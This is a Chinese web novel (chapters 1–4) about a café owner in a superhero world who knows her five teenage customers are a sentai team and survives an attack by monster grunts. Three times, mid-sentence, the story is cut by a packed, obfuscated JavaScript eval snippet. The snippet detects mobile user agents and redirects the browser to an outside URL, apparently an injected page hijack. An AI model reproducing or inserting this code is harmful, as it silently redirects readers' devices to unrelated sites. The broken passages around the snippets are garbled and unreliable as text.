《因为她只是特摄剧里的路人甲》 1. 第 1 章 7:00 拉弥打着哈欠推开店门,先跟正在清洗机器的咖啡师打了个招呼,又去裱花间和甜品师确认今日上新,顺便给自己复烤一个可颂。 她叼着面包,用粉笔在小黑板上画好菜单,完事将“大作”拍照上传至咖啡店官号,附文表示馋新品的顾客可以午后再来,早上也有面包三明治供应——当然,都是供应商的冷库出品。 “昨日晚间,Y-3区某私人医院发生武装袭击事件,所幸彩色战队的五位守护者们及时出现,化解了一场可能的危机……” 由于店内人手不足,拉弥只能亲自上阵,一边打扫卫生一边听新闻,电台播报在她耳中与天气预报并无区别,对其他人也一样。 清扫至门外,角落的一块碎玻璃吸引去她的目光——玻璃锋利的边缘沾有几滴不明荧蓝色液体,透过阳光能看出流沙般的质感。 咖啡店的玻璃完好无损,住在附近的自己昨夜也没有收到安全警报,那么这是……? 思考片刻,拉弥面不改色的将玻璃扫进簸箕。 既然沾有液体的玻璃能留在现场直到被自己发现,那么大概率代表没什么危险,不过谨慎一点总不会错。 拉弥将玻璃单独倒进加厚垃圾袋,扔进印有“未知垃圾”标识的公共白色垃圾箱——装袋时她嗅到了一丝铁锈味,但并未放在心上。 只听“嘭”的一声,白色垃圾箱里面似乎清晨就装有不少“好货”了。 糟糕,是不是还得把清洁工具给做个消毒? 10:00 摆好开业招牌,咖啡店迎来了第一波客人。 拉弥挤出公式化笑容,主动向顾客推荐了几款特调和新品,她早上偷吃、试吃过了,嘎嘎棒! 这时候来的大都是怀旧型老客户,基本不会难为这位没上岗几天的新任老板,没看见人还顶着熊猫眼吗?估摸着是为店铺操劳了太多。 其实那只是一小部分原因,如果拉弥知道客人想法的话一定会如实告知对方误会大了,自己的黑眼圈是通宵打游戏打出来的……未成年不要学。 作为唯一非专业性人员的她只能干起学徒的活,忙完这头的订单又去那头装盘出餐,顺路收个盘子,还要处理随机掉落的外卖单。 一开始咖啡师也表示过可以帮忙,但拉弥实在不好意思麻烦这位老板换人前就工作了很久的老员工,更是付不起多一份正式员工的工资了…… 哎,能省则省。 “今日作战会议开始,关于组织近况……”墙角桌的黑衣客人表情严肃,似乎在谈论什么不得了的事。 几人面前各摆着一只造型可爱的兔兔布丁,像是在进行什么神秘仪式,又或者……真的爱吃。 戴着耳机的拉弥正在收拾隔壁桌,刚拿起空杯,就见杯上“啪”的一声多了道浅浅的裂痕,而黑衣人正好说到“末日论”,冥冥中似乎预示着某些不好的事即将发生。 然而拉弥根本没注意,或者说不在意。 不影响使用,但不太好看……这个杯子以后就装薄荷糖、供顾客离店时自行拿取吧,她很快就有了主意。 12:30 这个时间来的多是午休的学生党和工作党,附近就有个非寄宿制高中,也是让拉弥狠狠压榨了一波小年轻的零花钱。 这天不出意外地迎来了固定常客——三男两女、五个衣着鲜艳的高中生。据说是同个社团的,总是一起出没。 五人按照惯例各点了一份甜品和一杯饮料,等待期间讨论起网上关于彩色战队的帖子。 比起崇拜,更多是看到大众对战队五位守护者的肯定而产生的一种……自豪? 拉弥装盘时特意多塞了几块曲奇,被那一声声“谢谢姐姐”哄得有些飘飘然。 几个孩子把咖啡店当成了休息站,每天中午固定刷新,下午放学也随机加餐的那种。 比起被感谢,她更想谢谢五人带来的保底营业额。 招待完小客人,拉弥又去签收了供应商送来的豆子,给大太阳下也要裹成粽子的送货员带去一杯热咖啡。 今天最低温度18℃,ta一定很怕冷吧?她心生一丝怜悯。 “G区怪兽能量波动上升……”送货员的耳机中传来微弱的警报。 15:00 这个时间的咖啡店最清闲,不,该说根本就没客人。 终于等到摸鱼时间的拉弥反复点进根本无人在意的招聘贴,觉得人生无望。 当然,换做是她也不会选择一家招人广告就在画大饼的店铺,更何况现在咖啡市场被几家平价连锁店牢牢把控,这时候再去什么非品牌咖啡店当全职店员着实没盼头,一眼望得到头。 先招点兼职或者学徒吧,或许可以把二楼杂物间改造成员工宿舍,就说包住……嗯,希望不会被投诉。 18:30 晚高峰也是咖啡店客人最多的时候,拉弥忙出了残影,然而再忙她也不忘抽出空来,用马克笔在装满薄荷糖的杯子上画出口叼玫瑰的锥子脸帅哥,裂痕正好是花茎的部分。 好丑,但感觉能当一波黑红宣传,拉弥顺手拍了张照。 挂在墙上的显示屏正播报着实时新闻: “G-1区出现45米级G型怪兽!它正朝东区移动,请附近居民尽快前往地下掩体避难……是巨人!光之巨人出现了!” 直升机上的电台记者拍下了全程,那是任何特效或梦境都无法复刻的奇异场景——身高超过五十米的银金色巨人与怪兽在市区对峙。 如果不是不止发生过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808568|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次,许多人也现场经历过,观众们大概根本不会将那魔幻得如同电影宣传一般的画面当真。 这是场单方面的碾压。 几乎没有破坏任何建筑的前提下,巨人双臂在胸前交叉,带着虹光的十字射线从中心点涌出,冲破了怪兽的防御、正中靶心。 夕阳的余晖中,怪兽被光束炸成了碎片。 “该死的光……” “……又失败了。” 面对刚拯救了一座城市的守护者,大部分顾客自发鼓起了掌,代表感谢的掌声瞬间淹没了少部分可疑人士的无礼之言。 拉弥还在核对剩余原材料,听到讨论就抬头看了眼屏幕,上面正回播着“精彩画面”——虽然来来回回就那么几个镜头。 今天的巨人似乎很急,通常ta的战斗风格会更稳健一些。 而这次ta像是要赶着去做什么一样,完全没给怪兽反击的机会,不讲战斗基本法,开场放大终结敌人,随后就以肉眼不可见的速度飞离了现场。 电视台主持人都评价这是一场发生得突然、结束得匆忙的危机,画外音大概是连点新闻素材都不给。 等到拉弥结算完账单,准备将白天拍好的照片调色发至社交媒体、忽悠潜在客户时,一位身型高大健壮的女子走进了店内。 “请问关门了吗?我赶来的路上遇到……耽搁了一会儿,不知道那款坚果黑巧的新品还有没有。” 这位客人一定很受女性欢迎,拉弥收回欣赏的目光,即使身穿高领风衣也难掩对方那堪称完美的体型,一身肌肉漂亮得就像是——那位银金色巨人的等比缩小体一样。 “坚果黑巧……正好还有一份,您还想喝点什么?” 话一出口她才想起那份新品原本是准备给自己留下的,不过说都说了,今日营业额增加! 22:00 拉弥磨蹭着写完了营业日记,这不是什么必须要做的事,只是她想记录自己作为一个店老板的成长,只希望不要夭折就好。 她试着用新买的半自动咖啡机泡了杯黑咖啡——意料之内的难喝,无关材料也无关机器,更无关口味,纯粹是操作者本人的原因。 熟练地倒掉那杯散发着诡异味道的液体,拉弥又用热水冲泡了一杯速溶拿铁。 ……这杯好喝多了。 至于为什么晚上喝咖啡,还是要打游戏的嘛。 透过电脑屏幕后的窗外,拉弥看见远方燃起了点点火光,火焰撕裂寂静的夜空,有着愈演愈烈的架势。 扫了眼手机……四级安全警报,那就是没事,至少离事故中心有好段距离的自己家没事。 她对着远方的火光举起速溶咖啡,拿出干杯的气势一饮而尽。 ——我的愿望是,世界和平。 2. 第 2 章 “拉弥姐——” “嗯?”拉弥循声望去,看见高中生五人组中的光羽靠在吧台前,一副“抱歉打扰了”的表情。 “怎么,需要加糖还是加奶?还是……苍太又把咖啡杯给摔了?” 拉弥合上笔记本屏幕,嘴角勾起一抹笑容。 她对眼前这个穿着杏黄色外套的小姑娘很有好感,对方不仅长相乖巧可爱,性格更是好得没话说,总是在扮演大人的角色,算是五人组中最成熟的一位。 “没有没有,苍太今天没有闯祸,暂时没有。”光羽连忙摇头,她有些不太好意思地挠了挠脸颊:“拉弥姐你有时间吗?我有个问题想问你。” “现在没什么客人,直说吧。” 拉弥知道这只是客套,如果自己真在忙,最会察言观色的对方也不会凑过来了。 “拉弥姐你最喜欢哪个守护者?” ……这问题问得。 拉弥脑海中闪过一道巨大的身影,她没有直接回答,而是带着开玩笑性质的口吻反问道:“我记得光羽你们几个是彩色战队——曙光战队的粉丝吧?怎么,想确认我是不是同好?” “也、也不算吧,只是随口问问。不过我们的……粉籍就这么明显吗?” “的确明显,你们五个总是穿着战队代表色的衣服,性别不也正好对得上?” 眼见小姑娘表情一僵,拉弥连忙给自己的顺嘴找补:“现在年轻人不就流行这些?穿着应援服、对镜子比划守护者的变身姿势。其实不仅是你们学生,大人也一样,前两天还有位白领对着咖啡店的玻璃反光练习五人的变身姿势,我还得假装没看到,喜欢他们的人可不少哦。” 说着,拉弥还有样学样,将右手按在左腕上,仿佛左手戴有什么看不见的装置,一本正经地棒读道: “燃起吧,属于我们的黎明——” 光羽被这位不着调的长辈给逗乐了。 抽出一张板凳,拉弥示意女孩在自己身边坐下:“为什么会突然有这种问题,是最近发生了什么吗?” 光羽没有推脱,手放在膝盖上,笑意逐渐被阴郁所取代:“拉弥姐你知道前天发生在Y区医院的那场战斗吗?” “私人医院那个?我有在电台听到一点,说是曙光战队出手阻止了武装暴徒,无人伤亡,这不挺好的?” “是的,一开始我们也很开心,觉得是场漂亮的战斗,但后来发现……网上出现了一些攻击新星者的帖子。” 曙光战队,全称曙光战队新星者(DAWN SENTAI NOVAGER),又因战衣色彩艳丽在民间有着“彩色战队”的外号。 “攻击?”拉弥皱眉。 “大概就是……说五人战斗得不够利落,不能像弧光那样迅速结束重大灾害,也不像光碎骑士那样拥有华丽的招式。”再难听的就没说了,毕竟连她自己也看不下去。 弧光指的是那位五十米级的银金色巨人,光碎骑士则是指三位总是骑着改装机车的机械风战士,后者跟战队一样都属于覆面系的守护者。 比起神出鬼没的巨人,战队和骑士更常出现在公众视野中、解决大小危机,几乎频繁到成为一种习惯的程度。 说起来自己也有段时间没刷到骑士相关的新闻了,拉弥回忆。 “可是阻止暴徒的是曙光战队,不是弧光,也不是光碎骑士。” 当然——以巨人的体型哪怕真想阻止,面对“武装人员入侵私立医院”这种事件着实也有些难办了,总不能把医院拆了再给人揪出来。 拉弥从过往的新闻报道中能看出战斗中的弧光非常克制,保护居民的同时也不会误伤建筑,如此苛刻条的件下,面对那些同样巨大的敌人,ta也依旧能取得压倒性的胜利。 放下限制的弧光该有多强?作为人类的她想象不出。 但她也知道,不提声音听起来明显还是年轻人的曙光战队,换作任何人或事物去跟弧光比较都不公平——后者连是否是地球原住民都不好说,跨物种比效率就跟跨剧组比战力一样,毫无意义。 拉弥顿了顿,没有讲什么大道理,而是问:“那么夸奖呢?” “嗯?” “夸奖曙光战队的帖子又说了些什么?” “夸奖……”光羽回忆了下,有些脸红:“说、说新星者青春活力,充满生命力,说家里的孩子将五人视作偶像。评论里还出现了当时正在那家医院接受治疗的病人,说很感谢新星者阻止了暴徒,手术很成功。” “这样就好了。”拉弥拍拍光羽的肩膀:“比起少部分的不快,还有更多愉快的言论值得被你记住。” “你不是问我更喜欢哪个守护者吗?” “我没有特定偏好,也可以说我认为所有守护者还有那些为世界付出的人们、哪怕不是人,都应当得到所有人的喜爱和尊敬。” “……我明白了,谢谢你,拉弥姐。”光羽认真点了点头。 “当然,更通俗易懂的话来说就是某些垃圾话根本不配让你分心——让那些帖子自己气死得了,还好意思提弧光和光碎骑士,怎么不拿屏幕后的自己跟曙光战队比较?” “噗嗤。”光羽笑出了声。 小姑娘没让拉弥白聊,她主动包下了咖啡店今天没卖出的甜品,说是要带给家里人分享,还特意留下了一块——是拉弥最常自留的那一款。 要不是太不雅观,拉弥大抵得给光羽磕一个。 她扫了眼高中生组合中的另外四人…… 除开光羽外团队中的另一位女孩、戴着红围巾的赤音此刻正左右开弓地刷题,据说这样有利于思考;蓝内衬的凛司也在赶作业,但速度远不如奇葩的前者;之前提到过的闯祸精、穿绿卫衣的苍太已经趴在桌上睡着了,而黑外套的夜辉正望向落地窗外发呆。 看看富婆,再看看你们! 身为五人组领头人的赤音注意到拉弥恨铁不成钢的目光,却完全误解了——她晃醒苍太,扭过夜辉的肩膀,安排两人一同刷题,完事还一脸严肃地冲拉弥点了点头,大概在传达“感谢提醒、我会监督他们”之类的意思。 拉弥哽住了,她大概这辈子也理解不了好学生的脑回路,只能尽量不去看绿黑二人那幽怨的视线。 等到天色渐暗,拉弥将因高强度刷题而精神充沛或萎靡的五位小客人送到了公交车站——没人要求,但她觉得这是作为成年人的基本责任。 虽然拉弥并不觉得这段还有点距离的路上会发生什么危险,尤其对五人来说。 提着大包小包的光羽在站台冲她用力挥了挥手,其余几人也礼貌附和,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808569|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弥见罢便无奈地抬手回应。 她不觉得自己的发言多有道理,是谁都扯上几句的“空话”,但那些“空话”确实对光羽有效。 毕竟对方并非是因为有人抹黑偶像而愤怒的粉丝,而是……被攻击的“偶像”本人。 是的,显而易见,五位高中生正是活跃在各种危险场合的新生守护者——曙光战队新星者。 拉弥从一开始就知道。 为什么会知道? 或许是因为五人总是穿着标志色的衣服、名字中同样带有对应颜色; 或许是因为五人各个都是帅哥美女,在学生近视率高升的今天居然没有一个是小眼镜——当然这条就有些主观了; 或许是因为五人对彩色战队相关报道的高强度关注,过分在意外界的评价,甚至到了过度敏感的程度; 或许是因为五人总会在新闻报道突发事件时集体告辞,随后现场就会出现战队的身影; 或许是因为言语间露出的破绽…… 然而奇怪的是,除了拉弥以外,似乎没人会去注意这些“显而易见”的事。 是从什么时候发现的?仿佛是所谓的认知滤镜突然关闭,迷途的爱丽丝意识到自己并不属于这个奇妙的国度,楚门终于走到了世界的边界。 她记得是自己被要求去接手黎明咖啡的那天…… 几滴雨水落在脸上,打断了拉弥的思绪。 只是愣神的功夫,雨点就从点状连成线状,隐隐有着发展成暴雨的倾向。 “糟糕……!”突然的大雨让拉弥加快了步伐。 ——直到她途经一条小巷。 雨丝太密,几乎掩去所有,但一丝不妙的味道仍蛮横地钻进了拉弥的鼻腔……就像是铁壶里煮久了的水所散发出的味道。 或者说,是雨水都无法掩盖的浓烈血腥味。 拉弥停下了脚步,下意识向巷内望去。 五六道的黑色人影堵在不算宽敞的通道中,起初她还以为不过是黑衣服的小混混,定睛一看,却发现那更该称作……人形生物。 那些生物浑身赤裸,没有毛发,灰白色的骨质物质如螺旋花纹般缠绕身体,沿头部边缘向内扩散,构成形似《呐喊》式的空洞面具。 它们姿态扭曲,漆黑的皮肤在月光的映照下显现出流体似的质感。 她在新闻中见过类似的存在,它们被称为哈斯克(Husk),是不明邪恶组织中的基层战斗员,俗称杂兵。 说是杂兵,也只是面向守护者或者持有武器的官方人员而言。 对普通人来说,无论是杂兵还是怪兽,都是同样的灭顶之灾。 夜晚的巷道视线有限,她还看到一位身形瘦弱的人类男性倒在杂兵的包围圈中,生死不明。 那股呛人的血腥味应该就来自对方,他到底流了多少血? 拉弥小心翼翼地后退一步,她自认为没有发出任何声响,那些杂兵却像是收到了什么信号,同时向巷外看去——身体不动,头部最多扭转超过一百八十度,用空洞面具中那没有五官的脸齐刷刷看向她。 没有呼吸,没有言语,只是静静地看这位不速之客。 ……原来新闻中的怪物也能这般“安静”。 她第一次觉得自己的心跳声是如此沉重。 3. 第 3 章 拉弥摸向口袋,这才发现自己把手机落在吧台上了,自然不会有什么安全警报。 毕竟她是去送五个能徒手举起轿车的守护者,没想到回程路上却要把自己给送走了,上西天的那种送法。 她没再犹豫,转身就向车站的方向跑去。 虽然拉弥人生体能巅峰是已经是忘了多年前的中学体测,但多少还是想挣扎下,万一五人有谁东西落下、返回途中不就正好遇上了?影视作品里都是这么演的。 至于那位倒在巷子里的小伙,拉弥只能请他自求多福,等她跑路成功后一定会摇人救援的。 当然前提是对方那时还活着,虽然没看到明显的伤口,不过就那股气味所代表的出血量……够呛。 只是想法很美好,事实却很残酷。 没跑出几步,一只骨瘦如柴的利爪就抓住了拉弥的脚踝,让她面朝下地摔在泥水中。 ——啊,看来自己并不是什么重要角色,不过是一个普通的、悲剧的炮灰啊,也就是所谓的路人甲。 杂兵的力量比预想的还大,拉弥只觉得自己的骨头快被捏断了,也可能是真断了。 她强撑着翻身坐起,抄起路边一块板砖、顺势砸在近在咫尺的杂兵头上,一套动作行云流水,换五人组在场大概都认不出眼前这狼狈又凶狠的女人是那位和气的咖啡店老板。 遗憾的是,杂兵的脑袋只是如硬质果冻般晃了晃,下一秒就弹回原处,倒是用力过猛的拉弥指甲盖被掀翻几只,板砖也碎了一地。 “嘶……唔!”拉弥疼得倒吸一口凉气,又被杂兵锁住喉咙,锋利的爪刃在其脖颈上划出好几道口子,顿时血流如注。 好吧,那些孩子平时就在和这种怪物战斗吗?这些杂兵甚至只是其中等级最低的一类。 等下辈子自己一定要多撸铁跑步,但话又说回来,健身在这个存在怪人和怪兽的世界真的有意义吗?跟其他受害者比谁跑更快?那也太残酷了。 死到临头的拉弥脑海中闪过的不是走马灯,倒尽是些不合时宜的吐槽。 她就要这么莫名其妙地死掉了?那些出现在讣告和新闻背景里的受害者也曾有过这样的感受? 拉弥自视谈不上十全十美的圣人,但更不是什么该死的恶人。 为什么自己会遭遇这种事,为什么世上会有怪物存在,为什么它们能如此肆无忌惮地剥夺生命? 杂兵逐渐加大手上的力道,似乎是在享受猎物死亡的过程,恶劣得就像是……人类一样。 雨点与心跳共舞,拉弥能感到自己死期将至,疼痛和没来由的愤怒倒是让她清醒了几分。 她颤抖着摸出钥匙,将铁环卡在虎口,用尽全身的力气——朝杂兵空洞面具的中央猛扎。 拉弥不知道这位置是否是杂兵的“眼睛”,但她不会错过任何可能的反抗机会,哪怕这就是最后了。 她能感觉到尖锐的钥匙就像是戳进了什么流沙软体中,每一次刺入都会带出少量蓝色的液体。 杂兵的动作停下了,但拉弥没有停。 ——如同对待情人一般,她双手捧住杂兵的脸,拇指用力,狠狠向下挖去。 浓烈的腥咸味扑面而来,一开始拉弥还以为是自己的血,旋即很快意识到那股味道来自杂兵——那些温暖的荧蓝色液体顺其双手蔓延、流淌,带着诡异的美感,很快又与雨水融为一体。 原来怪物与人类的血液是同一种味道……或许那股气味不止来自地上躺着的小伙,她突然想到。 “去死。”她说:“去死。” 拉弥觉得这一刻的自己变得有些不像自己了,她一向自诩脾气不错、情绪稳定,面对杂兵的袭击更多是身为凡人的恐惧与绝望。 此刻的她却像是被另一个完全不同的灵魂控制了身体,失去一切情绪,用最熟悉不过的声音说着陌生的诅咒……或者说,命令。 另一个灵魂说,请去死吧。 话音落下,只见杂兵的头颅就如被针扎的气球那般,先是“啪嗒”一声,下一瞬便整个炸裂来开。 蓝色的液体瞬间溅满拉弥全身,巨大的冲击力震得她大脑嗡嗡作响,瘫软在地上。 发生了什么?她已经无暇考虑其他几个杂兵的存在,脑中一片混乱。 好恶心……不是指失去头颅的杂兵,也不是嫌弃令人作呕的血腥味,而是对自己、另一个“异常”的自己,产生发自灵魂的厌恶。 恍惚间,逐渐模糊的视线角落似乎出现了一道人影,越来越近,直到凑到拉弥面前。 是其他杂兵?还是…… 她彻底晕死了过去。 再睁眼时,拉弥发现眼前一片雪白——她正躺在医院的病床上,而床边挤满了熟悉的身影。 “拉弥姐她醒了!” “……啊。” “别挤,苍太你踩到我了。” “对不起,店长她……” “别吵。” 随着赤音的一声令下,四人同时闭上了嘴。 前来探望的五人组恰好撞见拉弥苏醒的一刻,然而来不及上演抒情剧目,就听见那位咖啡店老板醒来后的第一反应便是扯着沙哑的嗓子喊道:“……我、我有购买怪人意外险,我医保卡呢?” 如果这是一部漫画,五人一定齐刷刷摔在地上了吧。 眼见拉弥无碍,五人组里的黄绿黑都红了眼眶,更擅长隐藏情绪的蓝红两人则一个劲道歉。 一贯高冷的凛司还算冷静,赤音用词公式化得像是在完成学校派发的慰问任务,但颤抖的声音出卖了她的内心。 按照五人的想法,拉弥是送几人去车站的回程途中出事的,身为守护者的他们却没能阻止——哪怕事发当时五人根本不在场,袭击也不是谁能未卜先知的,还是孩子的几人却将过错全数揽下。 当然,他们不能暴露身份,无法解释自己作为守护者的那份愧疚,只能通过行动来弥补。 拉弥能说些什么呢?她又不能表示早就知道了几人的身份,当时还想着求援来着,这事纯怪自己倒霉。 “别太给自己压力了,我这个成年人可是会愧疚的。”为了强调自己没事,拉弥用力拍了拍胸脯,却不小心扯到伤口,疼得龇牙咧嘴也强行挤出了一抹笑容。 “……真没事?”连年纪最小的夜辉都不大相信。 “我说没事就没事,小孩子快去写作业!” 几人送来的慰问品就摆在床头,赤音带来的是超大号水果篮和……一根防身电棍以及一对带刺的指虎?指虎不提,电棍这玩意儿合法吗?拉弥依稀记得对方的人设是全能学生、完美学生会长; 凛司送来的是一套保健品,据说经过其严格挑选,绝对不是什么诈骗礼盒,但拉弥对一切保健品持保留意见,不过包装盒还挺好看,也就勉强收下了; 光羽的礼物拉弥只看一眼就给退回了,表示送那么贵重的不如帮她去楼下快餐店买两份原味鸡、土豆泥和蛋挞,她爱吃那个,医生不让就偷摸着猛猛吃; 苍太的那份……据说在来的路上就给摔了,还让车压了个粉碎,考虑这孩子平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808570|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的笨拙和倒霉程度,可信度还是很高的,拉弥表示心意到了就好; 少言寡语的夜辉带来的是一只做工精致的手作娃娃,还是拉弥最近才喜欢上的虚拟角色,也不知道对方是怎么发现的。 五个孩子的用心程度让拉弥这个大人都有些不好意思了,毕竟她根本不觉得自己遇袭跟五人有关,这五份、四份礼物基本就算白得的。 不过或许正是因为这份心性才能让他们成为守护者?又或者这是守护者的基本素养……拉弥若有所思。 简单聊过后,拉弥才知道自己已经昏迷了整整三天,不过好在没伤到要害,再过几天就能拄拐杖出院了。 坏消息:拉弥接下来三个月都得打石膏; 好消息:昏迷期间咖啡师和甜品师身兼数职撑起了失去了杂工老板的店铺,五人组在下课后也会去无偿帮忙; 更好的消息:她火了,连带着黎明咖啡一起火了。 送走五人组后,拉弥终于有机会打开咖啡店那边送来的手机,看着咖啡店官号后台不断弹出的消息,她有些飘忽,原来这就是火了的感受吗? 她原本还打算想开小号吃自己血馒头来着…… 《震惊!深夜小巷竟发生这种事……》——这是标题党; 《邪恶组织战斗人员无差别袭击市民,这究竟是人性的扭曲还是道德的沦丧》——这是法制节目; 《咖啡店老板朋友表示……》——这是纯造谣,拉弥点进帖子发现自己根本不认识被采访者,顺手举报了。 …… 被怪人袭击的路人周周有,但被袭击后存活反杀、甚至救下另一个路人的新闻可就少见了。 拉弥知道这种热度只是暂时的,她斟酌语言、准备趁热发布招聘广告,却被医生口中的这番评价给说愣住了。 “被袭击后存活反杀”,勉强可以算自己;“救下了一人”——自己救了谁,她这个当事人怎么不知道?她不是被路过的附近居民送来医院的吗,好人好事奖怎么也轮不到自己吧? 回忆半天拉弥才从记忆碎片中翻出一点片段,那个倒在地上的小伙?原来他还活着啊,挺好的。 不过对方的存活可跟自己无关,拉弥想反驳——不属于自己的夸奖实在不能昧着良心接受,医生却把她的疑惑当作沉默,继续说道:“……你弟弟伤得不轻,不过好在身体硬朗,没什么大问题,比你早一天醒。” 拉弥更懵了,她哪来的弟弟?要是家里还有其他人,咖啡店也不至于被交到她这个宅家的“无业游民”手中。 “不,我……” 医生自说自话的毛病显然已到晚期:“……不过他头部受创,现在还处于失忆状态,你见他前记得做好心理准备。” “我是说——” “你好好休息,我就不打扰了。” 说罢关门离去。 拉弥已经无力吐槽了。 不过……煮咖啡难喝的咖啡店老板、下雨天、后巷和失忆的男性,这剧本有点耳熟啊。 这剧本是该给自己的吗?这剧本不该给自己吧。 “嘟。” 通讯软件收到了新消息。 ShiShiShiShiShi-ra!:听说你醒了?病号餐一定很难吃,饿了吧?想吃什么你尽管说,妈妈我偷偷带来。 不,半小时前我才啃完某个小姑娘给我带来的吮指原味鸡……拉弥思考片刻,用裹着纱布的手指戳屏幕回复: 咖啡店诚招兼职生两人:只要不是烤肉,什么都行。 4. 第 4 章 三分钟后拉弥又补了一句。 咖啡店诚招兼职生两名:还记得之前我们一起吃过的那家全天营业的早茶餐厅吗?应该就在医院附近,我想吃那家的沙嗲金钱肚和蟹黄汤包了,其它的你看着点,我们AA。 ShiShiShiShiShi-ra!:你还挑上了我的大小姐,妈妈不缺你那点钱,乖,病号好好躺着就行,两小时后见? 咖啡店诚招兼职生两名:彳亍?? ……我好像比你大吧。 拉弥知道是自己麻烦别人,也就没纠正对方这番占便宜的发言。 之后拉弥又刷了一个多小时的手机,期间一直在回消息、报平安。 至于不断弹出红点的咖啡店官号,其中甚至有来自记者的采访申请,她暂时还没想好怎么处理。 这时候跳出来会被骂炒作吧,用官号招人也容易引来奇怪的人……不习惯被太多人关注的她放弃了趁热发招聘贴的想法,选择装没看见。 反正闲着也是闲着,拉弥干脆在护士的帮助下拄上拐杖,向着医生口中“弟弟”的病房一瘸一拐走去。 也是提前过上老年生活了——她倒觉得有些新奇。 陌生小伙的病房就在斜对面,似乎因为涉及怪人袭击事件,两人住的都是单人病房。 刚清醒时拉弥还在嚷嚷什么医保保险,冷静下来后才想起根据《对怪兽/怪人安全保护法》——袭击事件所产生的医疗费会由官方负责,如果有购入怪兽/怪人意外险那么连误工损失也能得到补偿。 不知道小伙有没有买保险……医院居然没查出他的真实身份吗?也不知道这层亲戚关系到底是怎么凑上的。 拉弥在脑中预想着该如何解释——看医生那副不靠谱的模样,估计早将猜测告诉了先一步苏醒的小伙,如果不尽早解释清楚,让对方继续误会就不好了。 拉弥敲了敲门,得到应允后才推门进入。 ——一个面色惨白的大男孩躺靠在病床上,他手捧书本,目光触碰到拉弥的瞬间便亮起了欣喜的光芒。 “啊,是姐姐!太好了……您终于醒了。” 拉弥内心咯噔一声。 “我昨天有去看过您,您那时还在昏迷。” 拉弥的良心开始不安。 “谢谢您救了我。” 拉弥发出无声的惨叫。 混账医生—— 这她怎么说得出口。 眼前人身型介于男青年和男孩之间,雪白的床被更衬得他憔悴,看起来比高中生组大不了多少,说到“姐姐”一词甚至带上了一丝喜极而泣的哭腔。 “……当时我差点也被杀了,并没有帮上什么忙。”拉弥决定澄清下最可能导致对方产生多余感情的问题。 “我能活着是因为您。”大男孩语气肯定。 拉弥无法理解对方为何如此笃定,试探问:“你还记得什么吗?” “我只记得我的名字是诺尔,其它就……”大男孩抱住自己的头,表情痛苦:“抱歉让您遭遇那些,我觉得本该由我保护您的,但我不记得了,对不起。” 她投降,她真有点说不出口。 “好吧,诺尔,你没必要向我道歉,其实我并不是……”拉弥酝酿好情绪,准备当坏人、去戳穿大男孩那美好的幻想泡泡,却被楼下传来的的一阵喧嚣声打断。 “怪物啊!” “救命!” 难道又是……?! 拉弥踉跄着向窗外走去,由于行动不便的缘故,等她抵达时路人已一哄而散,映入眼帘的正是那天雨夜曾见过的扭曲身影——将她和诺尔送进医院的杂兵哈斯克。 那夜的阴影如上涌的海水般顷刻间将拉弥吞没,压得她几乎无法呼吸。 下意识伸手摸向缠着绷带的脖颈……但好在,她还活着,死掉的是杂兵。 仅是一只杂兵就让拉弥从鬼门关走了一遭,而此刻出现在楼下的却是黑压压的一整支队伍。 那些外形奇特的存在聚集在医院草坪前,从喉咙中挤出“咕噜、咕噜”的声响,没有追击逃散的路人,也没有破坏建筑,而是直勾勾地盯着挡住了它们去路的人……一个人类。 拉弥同样将目光放在了杂兵们对面的人影上: 那是个身型高挑的年轻女子,当所有人尖叫着逃窜时她却选择留在原地,表情就像那头过腰的红卷发一样,明艳、张扬,仿佛面对的不是什么危险的怪物,而是任其摆弄的玩偶。 等下,那人不就是…… 拉弥还没从震惊中走出,女子则开始了她的表演: 她竖起食指放在唇边作噤声状,调笑道:“医院禁止喧哗,更禁止无关人员入内。抱歉,忘了你们不是人。” “你们能自己离开吗?我还要去给朋友投喂茶点呢。” 当然没有“人”回答她,杂兵们只是死死盯着女子,“咕噜”声更密了,拉弥能感觉到那些怪物似乎在……害怕? “不行吗?真遗憾,那就只能干掉你们了。” 女子将手抬至太阳穴处,作枪状指向自己,上下唇碰撞发出“砰”一声的同时歪头,另一只手则将一个造型奇特的方盒按在腰间、两侧带子自动延展组成一条腰带。 她手腕翻转,腰带中心的火焰花纹向四周扩散,直至将整个人吞没。 “变身。”火焰中模糊的人说。 「授权登入——」伴随着高昂的快节奏吟唱,只听见中性的电子音在狂风中回荡: 「光碎(Fragment)同步——引燃灵魂!R.A.Y. On!」 红金色的机械铠甲自火焰中浮现,由虚变实,在半空中分裂、拆解、重构,最终在女子身上再组合。 「火焰之心,燃尽绝望——光碎骑士·Shira!」 